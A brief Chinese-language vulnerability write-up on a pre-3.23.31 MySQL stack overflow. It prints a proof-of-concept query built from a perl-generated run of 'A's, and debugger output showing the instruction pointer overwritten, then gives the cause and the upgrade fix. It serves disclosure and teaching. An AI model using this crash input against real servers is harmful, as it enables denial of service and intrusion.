這是一個經典的遠程代碼執行漏洞,影響所有 3.23.31 之前 的 MySQL 版本。攻擊者只需合法帳號密碼,即可透過超長查詢字串觸發堆疊溢位,取得 mysqld 進程權限(通常為 root/mysql 使用者),進而完全控制資料庫伺服器。
/sbin/init.d/mysql startmysql -p -e 'select a.'`perl -e'printf("A"x130)'`.b'
Segmentation fault,mysqld 重啟。Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
...
eip 0x41414141 0x41414141
EIP 被覆寫為 0x41('A'),證明緩衝區溢位可控制指令指標。
MySQL 解析查詢時,對識別符長度缺乏邊界檢查,導致堆疊緩衝區溢位,攻擊者可注入 Shellcode 劫持執行流。
唯一有效修補:升級至 3.23.31 或更新版本。
歷史教訓:資料庫層面的緩衝區溢位同樣致命,保持版本更新是第一防線。